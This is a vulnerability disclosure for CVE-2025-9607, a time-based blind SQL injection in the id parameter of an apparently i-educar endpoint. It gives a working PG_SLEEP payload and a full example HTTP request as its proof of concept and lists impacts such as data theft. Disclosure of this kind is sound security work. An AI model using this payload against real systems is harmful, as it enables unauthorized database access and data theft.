CVE-2025-9607: SQL Injection (Blind Time-Based) Vulnerability in id Parameter on /module/TabelaArredondamento/view Endpoint

CVE Publication: https://www.cve.org/CVERecord?id=CVE-2025-9607

Summary

A SQL Injection vulnerability was discovered in the id parameter of the /module/TabelaArredondamento/view endpoint. This issue allows any unauthenticated attacker to inject arbitrary SQL queries, potentially leading to unauthorized data access or further exploitation depending on database configuration.

Details

The application fails to properly sanitize user-supplied input in the id parameter. As a result, specially crafted SQL payloads are interpreted directly by the backend database.

PoC

Vulnerable Endpoint: /module/TabelaArredondamento/view

Parameter: id

Payload:

1

'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR

Example Request

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GET /module/TabelaArredondamento/view?id=1'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Referer: http://localhost/module/TabelaArredondamento/index?tipo_nota=1
Cookie: [COOKIE]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

This payload introduces a time delay, demonstrating the ability to execute arbitrary SQL queries.

Observe the time delay in the server response, indicating the successful execution of the SQL payload.

Impact

• Unauthorized access to sensitive data (e.g., users, passwords, logs).
• Database enumeration (schemas, tables, users, versions).
• Escalation to RCE depending on DB configuration (e.g., xp_cmdshell, UDFs).
• Full compromise of the application if chained with other vulnerabilities.
• This issue affects all users and environments, as it does not require authentication and is reachable via a public endpoint.

Reference

https://github.com/marcelomulder/CVE/blob/main/i-educar/CVE-2025-9607.md

Finder

Marcelo Queiroz

By: CVE-Hunters